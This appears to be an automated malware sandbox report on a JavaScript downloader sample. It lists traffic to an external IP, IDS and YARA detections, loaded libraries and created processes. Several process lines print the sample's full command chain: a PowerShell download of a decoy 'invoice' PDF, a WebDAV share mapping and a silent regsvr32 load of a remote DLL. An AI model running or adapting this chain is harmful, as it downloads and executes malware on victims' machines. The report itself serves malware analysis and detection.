2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49734

Source: global traffic

TCP traffic: 192.168.2.7:49734 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49717 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1332045622.0000023E3137A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1395637347.000002140B59D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1391288695.000002140B5BD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1395637347.000002140B58D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1394586988.000002140B59D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1394586988.000002140B590000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1395832845.000002140B5C5000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1395637347.000002140B568000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1394741879.000002140B5C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1395637347.000002140B568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/%Us
Source: net.exe, 00000007.00000002.1395637347.000002140B59D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1394586988.000002140B59D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/T
Source: net.exe, 00000007.00000002.1395637347.000002140B59D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1394586988.000002140B59D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/l
Source: svchost.exe, 00000009.00000002.2625515987.00000289F7C8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.1394553009.00000289F7AE0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3172, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 289215992948720779.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6328:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bovdhvo1.bm4.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\289215992948720779.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1572,i,16019868908939990801,6924203002331228427,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1572,i,16019868908939990801,6924203002331228427,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
